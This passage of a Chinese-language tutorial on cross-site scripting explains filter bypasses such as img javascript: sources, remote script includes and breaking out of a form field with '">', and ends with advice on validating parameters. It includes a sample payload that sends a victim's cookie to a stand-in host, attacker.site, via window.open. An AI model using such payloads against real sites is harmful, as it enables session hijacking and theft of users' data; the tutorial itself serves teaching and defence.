除了 <SCRIPT>
,使用其他 HTML 標簽來運行 JavaScript
也是可能的。事實上,同樣可能的是,惡意的 JavaScript
代碼存儲在另一個服務器上,并強迫客戶端下載該腳本并執行它,如果要運行許多代碼,或者代碼中包含特殊字符時,這是很有用。
關于這些可能性的一些情形:
- 除了
<script>...</script>
,黑客可以使用<img src="javascript:...">
。這對于過濾<script>
HTML 標簽的站點來說很好用。
- 除了
<script>...</script>
,還可以使用<script src="http://...">
。這對于 JavaScript 代碼過長,或者其中包含了禁止字符時的情況是很好用的。
有時候,響應頁面中內嵌的數據處于非自由的 HTML 環境中。在這種情況下,首先必要的是“逃”到自由的環境中,然后附加 XSS 攻擊。舉例來說,如果以 HTML 表單字段的默認值注入數據:
... |
那么在數據的開頭必需包含 ">
,從而逃到自由的 HTML 環境中。數據可能是:
"><script>window.open("http://www.attacker.site/collect.cgi?cookie= |
結果得到的 HTML 是:
... |
到此為止,我們已經看到 XSS 攻擊可以出現在用腳本回送響應的 GET
請求的參數中。但是也可以用
POST
請求實現攻擊,或者利用 HTTP 請求的路徑組件 —— 甚至使用一些 HTTP 頭(例如 Referer)。
特別是,當錯誤頁面返回錯誤的路徑時,路徑組件就有用了。在這種情況下,包含在該路徑中的惡意腳本經常都會執行。已發現許多 Web 服務器都容易受到這種攻擊。
很重要的是要知道,雖然 Web 站點不直接受到這種攻擊的影響(站點繼續正常工作,惡意代碼不在站點上執行,不會出現 DoS 情況,并且數據不直接受控,或從站點上讀。,但是它仍舊是站點向其訪問者或客戶端提供的隱私保護機制中的缺陷。這就像站點使用薄弱的安全標志(security token)部署應用程序,借此,黑客可以猜出客戶的安全標志并冒充客戶。
應用程序中的脆弱點是不管參數值是什么都回送參數的腳本。好的腳本確保參數的格式是適當的,包含合理的字符,等等。有效的參數通常沒有合理的理由包含 HTML 標簽或 JavaScript 代碼,可靠起見,應該在這些內容嵌入響應之前,或者在應用程序中處理這些內容之前,將它們從參數中去掉。
文章來源于領測軟件測試網 http://www.kjueaiud.com/